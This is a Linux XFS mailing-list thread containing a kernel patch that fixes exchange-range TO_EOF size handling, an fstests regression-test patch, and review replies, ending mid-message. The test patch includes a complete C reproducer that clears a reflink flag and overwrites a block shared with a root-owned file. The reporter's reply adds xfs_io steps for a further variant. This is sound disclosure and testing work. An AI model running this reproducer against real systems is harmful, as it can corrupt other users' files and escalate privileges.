* [PATCH] xfs: fix exchange-range-to-eof file size exchange
@ 2026-10-06 5:09 Darrick J. Wong
2026-10-06 6:15 ` [PATCH] xfs: add regression test for exchangerange-to-eof reflux Darrick J. Wong
` (2 more replies)
0 siblings, 3 replies; 9+ messages in thread
From: Darrick J. Wong @ 2026-10-06 5:09 UTC (permalink / raw)
To: Carlos Maiolino; +Cc: Norbert Szetei, linux-xfs, Christoph Hellwig
From: Darrick J. Wong <djwong@kernel.org>
Norbert Szetei posted a patch containing an incomplete description of a
bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks
exchange-range into modifying a file so that it has shared blocks
starting beyond EOF, which is never allowed because files never have
written data beyond EOF, and you can only share written data blocks.
This is key to all the incorrect behavior that follows.
Eventually I got from Norbert a description of what's going wrong:
> Fair. Here it is with physical block numbers, 4k blocks. peer is the file
> that gets rewritten and file1 is the one that ends up with the flag
> cleared.
>
> Start, nothing shared:
>
> peer size 4096 -> [100]
> file1 size 12288 -> [200] [201] [202]
> donor1 size 4096 -> [300]
> donor2 size 4096 -> [400]
>
> 1. FICLONERANGE peer's block into file1's middle slot:
>
> peer size 4096 -> [100]
> file1 size 12288 -> [200] [100] [202] reflink flag set
> ^^^^^ both files own block 100
>
> 2. XFS_IOC_EXCHANGE_RANGE file1 against donor1, file1_offset 0,
> file2_offset 8192, length 0, TO_EOF. One block is exchanged, and the sizes
> are exchanged with it:
>
> file1 size 4096 -> [200] [100] [300] reflink flag set
> ^^^^^^^^^^^ still owned, now past the size
> donor1 size 12288 -> [202]
>
> file1 says it is one block long while it still owns three. Nothing was
> unmapped. file2_offset is block 2, so this exchange cannot clear a flag.
>
> 3. XFS_IOC_EXCHANGE_RANGE file1 against donor2, both offsets 0, length 4096.
> By i_disk_size this is two one-block files exchanging everything, so
> xmi_can_exchange_reflink_flags() agrees and the flag is cleared:
>
> file1 size 4096 -> [400] [100] [300] reflink flag CLEARED
> donor2 size 4096 -> [200]
>
> Block 100 is still shared with peer.
>
> 4. pwrite(file1, 4096, 4096), which is file1's second slot, block 100.
> xfs_is_cow_inode(file1) is false, so no CoW:
>
> peer size 4096 -> [100] same block, new contents
>
> Block 100 is the only one that matters here. PoC below, it reads a file
> called peer in the current directory. The filesystem needs reflink and
> exchange-range, which mkfs.xfs 7.x turns on by default.
So yes, TO_EOF is screwing up the file size even if it's actually
exchanging the data block correctly. The following is the intended
behavior of XFS_EXCHANGE_RANGE_TO_EOF, as described by its manpage:
"Ignore the length parameter. All bytes in file1_fd from file1_offset
to EOF are moved to file2_fd, and file2's size is set to
(file2_offset+(file1_length-file1_offset)). Meanwhile, all bytes in
file2 from file2_offset to EOF are moved to file1 and file1's size is
set to (file1_offset+(file2_length-file2_offset))."
In other words, if we only exchange a portion of the file data, then we
should only exchange the portion of the file size that relates to the
exchanged data. Unfortunately, the code swaps the ondisk file size and
the incore file sizes, which is incorrect if the caller passes in a
nonzero offset.
Having confused the file sizes, the PoC uses a second exchange-range
call on what looks like a non-reflinked single-block file. Because the
file size is set incorrectly, exchange-range thinks it's exchanging the
full contents of two files and clears the reflink flag on the broken
file. That enables an extending write of the broken file to rewrite the
shared block that's just past EOF. This has become known colloquially
as refluxfs.
Once the file sizes are set correctly, the second exchange-range no
longer thinks that it's doing a full-contents swap, so it won't clear
the reflink flag on either of its file arguments.
Link: https://lore.kernel.org/linux-xfs/1E196589-DEBE-40AC-AFEA-D420DAAB067F@doyensec.com/
Reported-by: Norbert Szetei <norbert@doyensec.com>
Cc: <stable@vger.kernel.org> # v6.10
Fixes: 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")
Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
---
fs/xfs/libxfs/xfs_exchmaps.c | 8 ++++++--
fs/xfs/xfs_exchrange.c | 10 ++++++----
2 files changed, 12 insertions(+), 6 deletions(-)
diff --git a/fs/xfs/libxfs/xfs_exchmaps.c b/fs/xfs/libxfs/xfs_exchmaps.c
index 6a66b6075e0af4..c9d9464e9d39f5 100644
--- a/fs/xfs/libxfs/xfs_exchmaps.c
+++ b/fs/xfs/libxfs/xfs_exchmaps.c
@@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
const struct xfs_exchmaps_req *req)
{
struct xfs_exchmaps_intent *xmi;
+ struct xfs_mount *mp = req->ip1->i_mount;
unsigned int rs = 0;
xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
@@ -1006,9 +1007,12 @@ xfs_exchmaps_init_intent(
}
if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
+ loff_t off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
+ loff_t off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
+
xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
- xmi->xmi_isize1 = req->ip2->i_disk_size;
- xmi->xmi_isize2 = req->ip1->i_disk_size;
+ xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
+ xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
}
/* Record the state of each inode's reflink flag before the op. */
diff --git a/fs/xfs/xfs_exchrange.c b/fs/xfs/xfs_exchrange.c
index fafb4e3f065c75..a4016116f5f1a9 100644
--- a/fs/xfs/xfs_exchrange.c
+++ b/fs/xfs/xfs_exchrange.c
@@ -296,11 +296,13 @@ xfs_exchrange_mappings(
* the mappings, and updated the ondisk sizes.
*/
if (fxr->flags & XFS_EXCHANGE_RANGE_TO_EOF) {
- loff_t temp;
+ loff_t old_ip1_size = i_size_read(VFS_I(ip1));
+ loff_t old_ip2_size = i_size_read(VFS_I(ip2));
- temp = i_size_read(VFS_I(ip2));
- i_size_write(VFS_I(ip2), i_size_read(VFS_I(ip1)));
- i_size_write(VFS_I(ip1), temp);
+ i_size_write(VFS_I(ip2), fxr->file2_offset +
+ (old_ip1_size - fxr->file1_offset));
+ i_size_write(VFS_I(ip1), fxr->file1_offset +
+ (old_ip2_size - fxr->file2_offset));
}
out_unlock:
^ permalink raw reply related [flat|nested] 9+ messages in thread
* [PATCH] xfs: add regression test for exchangerange-to-eof reflux
2026-10-06 5:09 [PATCH] xfs: fix exchange-range-to-eof file size exchange Darrick J. Wong
@ 2026-10-06 6:15 ` Darrick J. Wong
2026-10-06 7:25 ` [PATCH] xfs: fix exchange-range-to-eof file size exchange Dave Chinner
2026-10-06 20:02 ` Norbert Szetei
2 siblings, 0 replies; 9+ messages in thread
From: Darrick J. Wong @ 2026-10-06 6:15 UTC (permalink / raw)
To: Carlos Maiolino; +Cc: Norbert Szetei, linux-xfs, Christoph Hellwig, fstests
From: Darrick J. Wong <djwong@kernel.org>
This is a regression test for a bug that Norbert Szetei reported in the
XFS exchange-range ioctl. I've ported his reproducer program to
fstests so that everyone can run it, and added an extra test that
checks that the right thing happens if you ask the kernel to exchange
unequally sized tails of two files.
Cc: Norbert Szetei <norbert@doyensec.com>
Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
---
.gitignore | 1
src/Makefile | 2 -
src/xfs-exchange-to-eof.c | 168 +++++++++++++++++++++++++++++++++++++++++++++
tests/generic/1958 | 107 +++++++++++++++++++++++++++++
tests/generic/1958.out | 6 ++
5 files changed, 283 insertions(+), 1 deletion(-)
create mode 100644 src/xfs-exchange-to-eof.c
create mode 100755 tests/generic/1958
create mode 100644 tests/generic/1958.out
diff --git a/.gitignore b/.gitignore
index b5d85c9451f0a8..2bf7043d1cc7eb 100644
--- a/.gitignore
+++ b/.gitignore
@@ -186,6 +186,7 @@ tags
/src/uuid_ioctl
/src/writemod
/src/writev_on_pagefault
+/src/xfs-exchange-to-eof
/src/xfsctl
/src/xfsfind
/src/aio-dio-regress/aio-dio-append-write-fallocate-race
diff --git a/src/Makefile b/src/Makefile
index 04a73b76546241..bfbb6cd5f3c690 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -36,7 +36,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
- rw_hint btrfs_ioctl refluxfs
+ rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof
EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
btrfs_crc32c_forged_name.py popdir.pl popattr.py \
diff --git a/src/xfs-exchange-to-eof.c b/src/xfs-exchange-to-eof.c
new file mode 100644
index 00000000000000..045bb3b97ae135
--- /dev/null
+++ b/src/xfs-exchange-to-eof.c
@@ -0,0 +1,168 @@
+// SPDX-License-Identifier: GPL-2.0
+
+// Trick exchange-range-to-EOF into screwing up the file size exchange
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/vfs.h>
+#include <linux/fs.h>
+#include <linux/fiemap.h>
+#include <errno.h>
+
+#ifndef FICLONERANGE
+#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
+#endif
+
+#ifndef XFS_EXCHANGE_RANGE_TO_EOF
+struct xfs_exchange_range {
+ __s32 file1_fd;
+ __u32 pad;
+ __u64 file1_offset;
+ __u64 file2_offset;
+ __u64 length;
+ __u64 flags;
+};
+#define XFS_IOC_EXCHANGE_RANGE _IOW('X', 129, struct xfs_exchange_range)
+#define XFS_EXCHANGE_RANGE_TO_EOF (1ULL << 0)
+#endif
+
+static unsigned long blksz;
+static int peer, f1;
+
+static unsigned long long phys(int fd, unsigned long long off)
+{
+ struct { struct fiemap f; struct fiemap_extent e[1]; } q;
+
+ memset(&q, 0, sizeof q);
+ q.f.fm_start = off;
+ q.f.fm_length = blksz;
+ q.f.fm_extent_count = 1;
+ if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
+ return 0;
+ return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
+}
+
+static void show(const char *tag)
+{
+ struct stat st;
+ int i;
+
+ fstat(f1, &st);
+ printf("%-26s peer [%llu] file1 size %5lld [", tag, phys(peer, 0),
+ (long long)st.st_size);
+ for (i = 0; i < 3; i++)
+ printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
+ i == 2 ? "]\n" : "] [");
+}
+
+static int mkfile(const char *name, char fill, int blocks)
+{
+ char *buf;
+ int fd;
+
+ unlink(name);
+ fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
+ if (fd < 0)
+ return fprintf(stderr, "open %s: %m\n", name), -1;
+ buf = malloc(blocks * blksz);
+ memset(buf, fill, blocks * blksz);
+ if (pwrite(fd, buf, blocks * blksz, 0) != (ssize_t)(blocks * blksz))
+ return fprintf(stderr, "pwrite %s: %m\n", name), -1;
+ free(buf);
+ fsync(fd);
+ return fd;
+}
+
+int main(int argc, char *argv[])
+{
+ struct xfs_exchange_range xr;
+ struct file_clone_range cr;
+ char before[65536], after[65536], *buf;
+ struct statfs sfs;
+ struct stat st;
+ int d1, d2;
+
+ if (argc != 3) {
+ fprintf(stderr, "Usage: $0 dir path_to_peer\n");
+ return 2;
+ }
+
+ if (chdir(argv[1]))
+ return perror(argv[1]), 2;
+
+ if (statfs(".", &sfs))
+ return fprintf(stderr, "statfs: %m\n"), 2;
+ blksz = sfs.f_bsize;
+ if (blksz < 512 || blksz > 65536)
+ return fprintf(stderr, "unexpected block size %lu\n", blksz), 2;
+
+ peer = open(argv[2], O_RDONLY);
+ if (peer < 0)
+ return fprintf(stderr, "open peer %s: %m\n", argv[2]), 2;
+ syncfs(peer); /* so FIEMAP reports peer's real blocks */
+ fstat(peer, &st);
+ printf("peer uid %u mode %04o size %lld, block size %lu\n\n",
+ st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
+ if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
+ return fprintf(stderr, "read peer: %m\n"), 2;
+
+ f1 = mkfile("file1", 'A', 3);
+ d1 = mkfile("donor1", 'B', 1);
+ d2 = mkfile("donor2", 'C', 1);
+ if (f1 < 0 || d1 < 0 || d2 < 0)
+ return 2;
+ show("start");
+
+ /* 1. share peer's block into the middle of file1 */
+ cr = (struct file_clone_range){ .src_fd = peer, .src_offset = 0,
+ .src_length = blksz,
+ .dest_offset = blksz };
+ if (ioctl(f1, FICLONERANGE, &cr))
+ return fprintf(stderr, "FICLONERANGE: %m\n"), 2;
+ show("1 FICLONERANGE");
+
+ /*
+ * 2. exchange file1's last block against the whole of donor1 with
+ * TO_EOF. The sizes are exchanged too, so file1 claims one block
+ * while still owning three. file2_offset is block 2, so this exchange
+ * cannot clear a reflink flag.
+ */
+ xr = (struct xfs_exchange_range){ .file1_fd = d1, .file1_offset = 0,
+ .file2_offset = 2 * blksz,
+ .length = 0,
+ .flags = XFS_EXCHANGE_RANGE_TO_EOF };
+ if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr))
+ return fprintf(stderr, "EXCHANGE_RANGE TO_EOF: %m\n"), 2;
+ show("2 EXCHANGE_RANGE TO_EOF");
+
+ /*
+ * 3. by i_disk_size this is a whole-file exchange of two one-block
+ * files, so the reflink flag is handed to donor2 and cleared off
+ * file1, which still shares a block with peer.
+ */
+ xr = (struct xfs_exchange_range){ .file1_fd = d2, .file1_offset = 0,
+ .file2_offset = 0, .length = blksz };
+ if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr))
+ return fprintf(stderr, "EXCHANGE_RANGE: %m\n"), 2;
+ show("3 EXCHANGE_RANGE");
+
+ /* 4. write to the block file1 still shares with peer */
+ buf = malloc(blksz);
+ memset(buf, 'X', blksz);
+ if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
+ return fprintf(stderr, "pwrite: %m\n"), 2;
+ fsync(f1);
+ show("4 pwrite(file1, 4096)");
+
+ posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
+ if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
+ return fprintf(stderr, "re-read peer: %m\n"), 2;
+ printf("\npeer first byte %c -> %c %s\n", before[0], after[0],
+ memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
+ return memcmp(before, after, blksz) ? 0 : 1;
+}
diff --git a/tests/generic/1958 b/tests/generic/1958
new file mode 100755
index 00000000000000..7adfa1aee768ca
--- /dev/null
+++ b/tests/generic/1958
@@ -0,0 +1,107 @@
+#! /bin/bash
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2026 Oracle. All Rights Reserved.
+#
+# FS QA Test No. 1958
+#
+# Regression test for an exchange-range-to-EOF bug which unintentionally
+# results in files that share data blocks but don't have the reflink flag set.
+# This enables attackers to rewrite shared blocks to gain root privileges,
+# similar to refluxfs.
+. ./common/preamble
+_begin_fstest auto quick fiexchange
+
+. ./common/filter
+. ./common/reflink
+
+_require_test_program "xfs-exchange-to-eof"
+_require_user fsgqa
+_require_group fsgqa
+_require_scratch_reflink
+_require_xfs_io_command exchangerange
+_require_cp_reflink
+
+_fixed_by_fs_commit xfs XXXXXXXXXXXXXX \
+ "xfs: fix exchange-range-to-eof file size exchange"
+
+_scratch_mkfs >> $seqres.full
+_scratch_mount
+
+rootdir=$SCRATCH_MNT/root
+userdir=$SCRATCH_MNT/user
+blksz=$(_get_file_block_size $SCRATCH_MNT)
+
+# Fill $mnt/peer with "P", run reproducer program
+mkdir -p $rootdir $userdir
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer.copy >> $seqres.full
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer >> $seqres.full
+sync
+
+chown $qa_user:$qa_group $userdir
+chmod +r $rootdir/peer
+
+_su $qa_user -c "$here/src/xfs-exchange-to-eof $userdir $rootdir/peer" &> $tmp.out
+
+# Now do an exchange where the distance between the offset and EOF are
+# different for the two files.
+l1sz=12345678 # file size for lopsided1
+l2sz=1234567 # file size for lopsided2
+
+l1rem=$((l1sz % 1048576))
+l2rem=$((l2sz % 65536))
+
+l1off=$((l1sz - l1rem)) # lopsided1 size rounded down to 1M
+l2off=$((l2sz - l2rem)) # lopsided2 size rounded down to 64k
+
+$XFS_IO_PROG -f -c "pwrite -S 0x58 0 $l1sz" $rootdir/lopsided1 >> $seqres.full
+$XFS_IO_PROG -f -c "pwrite -S 0x59 0 $l2sz" $rootdir/lopsided2 >> $seqres.full
+
+$XFS_IO_PROG -f \
+ -c "pwrite -S 0x58 0 $l1off" \
+ -c "pwrite -S 0x59 $l1off $l2rem" \
+ $rootdir/lopsided1.copy >> $seqres.full
+$XFS_IO_PROG -f \
+ -c "pwrite -S 0x59 0 $l2off" \
+ -c "pwrite -S 0x58 $l2off $l1rem" \
+ $rootdir/lopsided2.copy >> $seqres.full
+sync
+
+$XFS_IO_PROG -c "exchangerange -d $l1off -s $l2off -t $rootdir/lopsided2" \
+ $rootdir/lopsided1 >> $seqres.full
+
+# Check for file corruption
+grep -q REWRITTEN $tmp.out && \
+ echo "$rootdir/peer rewritten, filesystem corrupt!"
+cat $tmp.out >> $seqres.full
+
+cmp -s $rootdir/peer.copy $rootdir/peer || \
+ echo "$rootdir/peer changed since its snapshot, filesystem corrupt!"
+
+stat -c '%n:%s' $rootdir/lopsided[12] | _filter_scratch
+
+cmp -s $rootdir/lopsided1.copy $rootdir/lopsided1 || \
+ echo "$rootdir/lopsided1 is wrong, filesystem corrupt"
+cmp -s $rootdir/lopsided2.copy $rootdir/lopsided2 || \
+ echo "$rootdir/lopsided2 is wrong, filesystem corrupt"
+
+# Check reflink flags
+_scratch_unmount
+_scratch_xfs_db -c "path /user/file1" -c 'print' | grep v3.reflink
+_scratch_mount
+
+# Check for file corruption now that we've blown away all caches
+grep -q REWRITTEN $tmp.out && \
+ echo "$rootdir/peer rewritten, filesystem corrupt!"
+cat $tmp.out >> $seqres.full
+
+cmp -s $rootdir/peer.copy $rootdir/peer || \
+ echo "$rootdir/peer changed since its snapshot, filesystem corrupt!"
+
+stat -c '%n:%s' $rootdir/lopsided[12] | _filter_scratch
+
+cmp -s $rootdir/lopsided1.copy $rootdir/lopsided1 || \
+ echo "$rootdir/lopsided1 is wrong, filesystem corrupt"
+cmp -s $rootdir/lopsided2.copy $rootdir/lopsided2 || \
+ echo "$rootdir/lopsided2 is wrong, filesystem corrupt"
+
+_exit 0
diff --git a/tests/generic/1958.out b/tests/generic/1958.out
new file mode 100644
index 00000000000000..f241bb075349e9
--- /dev/null
+++ b/tests/generic/1958.out
@@ -0,0 +1,6 @@
+QA output created by 1958
+SCRATCH_MNT/root/lopsided1:11589255
+SCRATCH_MNT/root/lopsided2:1990990
+v3.reflink = 1
+SCRATCH_MNT/root/lopsided1:11589255
+SCRATCH_MNT/root/lopsided2:1990990
^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH] xfs: fix exchange-range-to-eof file size exchange
2026-10-06 5:09 [PATCH] xfs: fix exchange-range-to-eof file size exchange Darrick J. Wong
2026-10-06 6:15 ` [PATCH] xfs: add regression test for exchangerange-to-eof reflux Darrick J. Wong
@ 2026-10-06 7:25 ` Dave Chinner
2026-10-06 15:00 ` Darrick J. Wong
2026-10-06 20:02 ` Norbert Szetei
2 siblings, 1 reply; 9+ messages in thread
From: Dave Chinner @ 2026-10-06 7:25 UTC (permalink / raw)
To: Darrick J. Wong
Cc: Carlos Maiolino, Norbert Szetei, linux-xfs, Christoph Hellwig
On Mon, Oct 05, 2026 at 10:09:14PM -0700, Darrick J. Wong wrote:
> From: Darrick J. Wong <djwong@kernel.org>
>
> Norbert Szetei posted a patch containing an incomplete description of a
> bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks
> exchange-range into modifying a file so that it has shared blocks
> starting beyond EOF, which is never allowed because files never have
> written data beyond EOF, and you can only share written data blocks.
> This is key to all the incorrect behavior that follows.
....
>
> Having confused the file sizes, the PoC uses a second exchange-range
> call on what looks like a non-reflinked single-block file. Because the
> file size is set incorrectly, exchange-range thinks it's exchanging the
> full contents of two files and clears the reflink flag on the broken
> file.
Hmmm, another "exchrange reflink flag coherency" bug.
Aside from fixing this specific issue, how can we prevent
other/future logic bugs from failing to set the reflink flag
appropriately and so never expose such a bug to userspace again?
I'm thinking that we should not try to swap the reflink flag along
with the extents. Instead, if one of the files had the reflink flag
set before the swap, then we scan scan the extents of both files
after the swap for shared extents and set the reflink flags for each
file appropriately. EXCHRANGE isn't really performance sensitive,
so the cost of the refcount scans shouldn't be an issue.
Setting the flags this way means it doesn't matter what file shared
extent(s) ends up in, the inode(s) that owns it(them) will always
have the reflink flag set correctly. Hence there is no way to use
EXCHRANGE creatively to expose this "didn't COW when it should have'
class of corruption bugs ever again...
> That enables an extending write of the broken file to rewrite the
> shared block that's just past EOF. This has become known colloquially
> as refluxfs.
>
> Once the file sizes are set correctly, the second exchange-range no
> longer thinks that it's doing a full-contents swap, so it won't clear
> the reflink flag on either of its file arguments.
>
> Link: https://lore.kernel.org/linux-xfs/1E196589-DEBE-40AC-AFEA-D420DAAB067F@doyensec.com/
> Reported-by: Norbert Szetei <norbert@doyensec.com>
> Cc: <stable@vger.kernel.org> # v6.10
> Fixes: 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")
> Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> ---
> fs/xfs/libxfs/xfs_exchmaps.c | 8 ++++++--
> fs/xfs/xfs_exchrange.c | 10 ++++++----
> 2 files changed, 12 insertions(+), 6 deletions(-)
>
> diff --git a/fs/xfs/libxfs/xfs_exchmaps.c b/fs/xfs/libxfs/xfs_exchmaps.c
> index 6a66b6075e0af4..c9d9464e9d39f5 100644
> --- a/fs/xfs/libxfs/xfs_exchmaps.c
> +++ b/fs/xfs/libxfs/xfs_exchmaps.c
> @@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
> const struct xfs_exchmaps_req *req)
> {
> struct xfs_exchmaps_intent *xmi;
> + struct xfs_mount *mp = req->ip1->i_mount;
> unsigned int rs = 0;
>
> xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
> @@ -1006,9 +1007,12 @@ xfs_exchmaps_init_intent(
> }
>
> if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
> + loff_t off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
> + loff_t off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
> +
> xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
> - xmi->xmi_isize1 = req->ip2->i_disk_size;
> - xmi->xmi_isize2 = req->ip1->i_disk_size;
> + xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
> + xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
> }
I think this really needs a comment to explain why the calculation
is structured this way. I think it is trying to set the file sizes
to the "destination offset" + "swap length from other file" because
the ranges in each file might be different lengths, but I could be
wrong...
Cheers,
Dave.
--
Dave Chinner
dgc@kernel.org
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] xfs: fix exchange-range-to-eof file size exchange
2026-10-06 7:25 ` [PATCH] xfs: fix exchange-range-to-eof file size exchange Dave Chinner
@ 2026-10-06 15:00 ` Darrick J. Wong
2026-10-06 20:12 ` Norbert Szetei
0 siblings, 1 reply; 9+ messages in thread
From: Darrick J. Wong @ 2026-10-06 15:00 UTC (permalink / raw)
To: Dave Chinner
Cc: Carlos Maiolino, Norbert Szetei, linux-xfs, Christoph Hellwig
On Tue, Oct 06, 2026 at 06:25:17PM +1100, Dave Chinner wrote:
> On Mon, Oct 05, 2026 at 10:09:14PM -0700, Darrick J. Wong wrote:
> > From: Darrick J. Wong <djwong@kernel.org>
> >
> > Norbert Szetei posted a patch containing an incomplete description of a
> > bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks
> > exchange-range into modifying a file so that it has shared blocks
> > starting beyond EOF, which is never allowed because files never have
> > written data beyond EOF, and you can only share written data blocks.
> > This is key to all the incorrect behavior that follows.
> ....
> >
> > Having confused the file sizes, the PoC uses a second exchange-range
> > call on what looks like a non-reflinked single-block file. Because the
> > file size is set incorrectly, exchange-range thinks it's exchanging the
> > full contents of two files and clears the reflink flag on the broken
> > file.
>
> Hmmm, another "exchrange reflink flag coherency" bug.
>
> Aside from fixing this specific issue, how can we prevent
> other/future logic bugs from failing to set the reflink flag
> appropriately and so never expose such a bug to userspace again?
>
> I'm thinking that we should not try to swap the reflink flag along
> with the extents. Instead, if one of the files had the reflink flag
> set before the swap, then we scan scan the extents of both files
> after the swap for shared extents and set the reflink flags for each
> file appropriately. EXCHRANGE isn't really performance sensitive,
> so the cost of the refcount scans shouldn't be an issue.
>
> Setting the flags this way means it doesn't matter what file shared
> extent(s) ends up in, the inode(s) that owns it(them) will always
> have the reflink flag set correctly. Hence there is no way to use
> EXCHRANGE creatively to expose this "didn't COW when it should have'
> class of corruption bugs ever again...
That is what Norbert's patch actually does. If you think removing
xfs_exchmaps_clear_reflink and all the stuff that calls it is a good
idea (and it probably is!) then let's move that discussion and review to
that patch's thread.
> > That enables an extending write of the broken file to rewrite the
> > shared block that's just past EOF. This has become known colloquially
> > as refluxfs.
> >
> > Once the file sizes are set correctly, the second exchange-range no
> > longer thinks that it's doing a full-contents swap, so it won't clear
> > the reflink flag on either of its file arguments.
> >
> > Link: https://lore.kernel.org/linux-xfs/1E196589-DEBE-40AC-AFEA-D420DAAB067F@doyensec.com/
> > Reported-by: Norbert Szetei <norbert@doyensec.com>
> > Cc: <stable@vger.kernel.org> # v6.10
> > Fixes: 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")
> > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > ---
> > fs/xfs/libxfs/xfs_exchmaps.c | 8 ++++++--
> > fs/xfs/xfs_exchrange.c | 10 ++++++----
> > 2 files changed, 12 insertions(+), 6 deletions(-)
> >
> > diff --git a/fs/xfs/libxfs/xfs_exchmaps.c b/fs/xfs/libxfs/xfs_exchmaps.c
> > index 6a66b6075e0af4..c9d9464e9d39f5 100644
> > --- a/fs/xfs/libxfs/xfs_exchmaps.c
> > +++ b/fs/xfs/libxfs/xfs_exchmaps.c
> > @@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
> > const struct xfs_exchmaps_req *req)
> > {
> > struct xfs_exchmaps_intent *xmi;
> > + struct xfs_mount *mp = req->ip1->i_mount;
> > unsigned int rs = 0;
> >
> > xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
> > @@ -1006,9 +1007,12 @@ xfs_exchmaps_init_intent(
> > }
> >
> > if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
> > + loff_t off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
> > + loff_t off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
> > +
> > xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
> > - xmi->xmi_isize1 = req->ip2->i_disk_size;
> > - xmi->xmi_isize2 = req->ip1->i_disk_size;
> > + xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
> > + xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
> > }
>
> I think this really needs a comment to explain why the calculation
> is structured this way. I think it is trying to set the file sizes
> to the "destination offset" + "swap length from other file" because
> the ranges in each file might be different lengths, but I could be
> wrong...
That's correct. I'll add that as a code comment.
--D
>
> Cheers,
>
> Dave.
> --
> Dave Chinner
> dgc@kernel.org
>
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] xfs: fix exchange-range-to-eof file size exchange
2026-10-06 5:09 [PATCH] xfs: fix exchange-range-to-eof file size exchange Darrick J. Wong
2026-10-06 6:15 ` [PATCH] xfs: add regression test for exchangerange-to-eof reflux Darrick J. Wong
2026-10-06 7:25 ` [PATCH] xfs: fix exchange-range-to-eof file size exchange Dave Chinner
@ 2026-10-06 20:02 ` Norbert Szetei
2026-10-06 21:47 ` Darrick J. Wong
2 siblings, 1 reply; 9+ messages in thread
From: Norbert Szetei @ 2026-10-06 20:02 UTC (permalink / raw)
To: Darrick J. Wong
Cc: Carlos Maiolino, linux-xfs, Christoph Hellwig, Dave Chinner
On Oct 6, 2026, at 07:09, Darrick J. Wong <djwong@kernel.org> wrote:
>
> From: Darrick J. Wong <djwong@kernel.org>
Thanks for picking this up so fast, and for porting the reproducer to
fstests.
> Once the file sizes are set correctly, the second exchange-range no
> longer thinks that it's doing a full-contents swap, so it won't clear
> the reflink flag on either of its file arguments.
The offsets are bounded against the incore i_size but subtracted from the
ondisk i_disk_size, so a file that has not been written back gives
xmi_isize1 = 0 + (0 - 12288).
For instance, you can do:
$ xfs_io -f -c "pwrite -q 0 4096" -c fsync file1
$ xfs_io -f -c "pwrite -q 0 12288" \
-c "exchangerange -s 0 -d 12288 file1" dirty
$ stat -c %s file1
0
$ stat -c %i file1
131
$ sudo xfs_io -r -c "bulkstat_single 131" . | grep bs_size
bs_size = 18446744073709539328
The reflink flag could be cleared too.
Start:
peer size 4096 -> [100]
file1 size 12288 -> [200] [201] [202]
dirty i_size 4096 i_disk_size 0
donor size 4096 -> [300]
1. FICLONERANGE peer's block into file1's middle block:
peer size 4096 -> [100]
file1 size 12288 reflink flag set -> [200] [100] [202]
^^^^^
both files own block 100
2. EXCHANGE_RANGE file1 against dirty, file1_offset 8192,
file2_offset 4096, length 0, TO_EOF:
length = max(12288 - 8192, 4096 - 4096) = 4096
dirty's flush range [4096, 8191] is past its EOF, nothing written
back, so i_disk_size is still 0:
xmi_isize1 = 8192 + (0 - 4096) = 4096
